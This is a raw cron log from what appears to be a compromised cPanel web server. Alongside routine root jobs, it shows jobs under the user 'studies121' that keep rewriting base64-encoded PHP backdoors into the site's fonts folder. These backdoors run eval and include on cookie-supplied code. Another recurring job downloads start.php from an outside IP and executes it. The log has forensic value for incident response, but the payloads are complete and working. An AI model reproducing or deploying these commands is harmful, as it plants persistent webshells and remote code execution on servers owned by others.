Sep  5 21:51:01 ip-184-168-122-23 CROND[31321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:52:01 ip-184-168-122-23 CROND[31403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:52:01 ip-184-168-122-23 CROND[31402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:52:01 ip-184-168-122-23 CROND[31405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:52:01 ip-184-168-122-23 CROND[31401]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:52:01 ip-184-168-122-23 CROND[31404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:53:01 ip-184-168-122-23 CROND[31481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:53:01 ip-184-168-122-23 CROND[31483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:53:01 ip-184-168-122-23 CROND[31482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:53:01 ip-184-168-122-23 CROND[31484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:54:01 ip-184-168-122-23 CROND[31558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:54:01 ip-184-168-122-23 CROND[31560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:54:01 ip-184-168-122-23 CROND[31561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:54:01 ip-184-168-122-23 CROND[31559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:54:01 ip-184-168-122-23 CROND[31562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:55:01 ip-184-168-122-23 CROND[31765]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:55:01 ip-184-168-122-23 CROND[31767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:55:01 ip-184-168-122-23 CROND[31766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:55:01 ip-184-168-122-23 CROND[31768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:55:01 ip-184-168-122-23 CROND[31771]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:55:01 ip-184-168-122-23 CROND[31770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:56:01 ip-184-168-122-23 CROND[31855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:56:02 ip-184-168-122-23 CROND[31858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:56:02 ip-184-168-122-23 CROND[31859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:56:02 ip-184-168-122-23 CROND[31860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:56:02 ip-184-168-122-23 CROND[31857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:57:01 ip-184-168-122-23 CROND[31943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:57:01 ip-184-168-122-23 CROND[31944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:57:01 ip-184-168-122-23 CROND[31945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:57:01 ip-184-168-122-23 CROND[31946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:58:01 ip-184-168-122-23 CROND[32026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:58:01 ip-184-168-122-23 CROND[32030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:58:01 ip-184-168-122-23 CROND[32029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:58:01 ip-184-168-122-23 CROND[32031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:58:01 ip-184-168-122-23 CROND[32028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:59:01 ip-184-168-122-23 CROND[32112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:59:01 ip-184-168-122-23 CROND[32113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:59:01 ip-184-168-122-23 CROND[32115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:59:01 ip-184-168-122-23 CROND[32114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:00:01 ip-184-168-122-23 CROND[32268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:00:01 ip-184-168-122-23 CROND[32269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:00:01 ip-184-168-122-23 CROND[32274]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 22:00:01 ip-184-168-122-23 CROND[32273]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:00:01 ip-184-168-122-23 CROND[32277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:00:01 ip-184-168-122-23 CROND[32275]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:00:01 ip-184-168-122-23 CROND[32270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:00:01 ip-184-168-122-23 CROND[32272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:00:01 ip-184-168-122-23 CROND[32276]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 22:01:01 ip-184-168-122-23 CROND[32477]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 22:01:01 ip-184-168-122-23 CROND[32478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:01:01 ip-184-168-122-23 CROND[32479]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 22:01:01 ip-184-168-122-23 CROND[32480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:01:01 ip-184-168-122-23 CROND[32483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:01:01 ip-184-168-122-23 CROND[32484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32477]: starting 0anacron
Sep  5 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32498]: finished 0anacron
Sep  5 22:02:01 ip-184-168-122-23 CROND[32571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:02:01 ip-184-168-122-23 CROND[32573]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:02:01 ip-184-168-122-23 CROND[32574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:02:01 ip-184-168-122-23 CROND[32572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:02:01 ip-184-168-122-23 CROND[32575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:03:02 ip-184-168-122-23 CROND[32662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:03:02 ip-184-168-122-23 CROND[32663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:03:02 ip-184-168-122-23 CROND[32664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
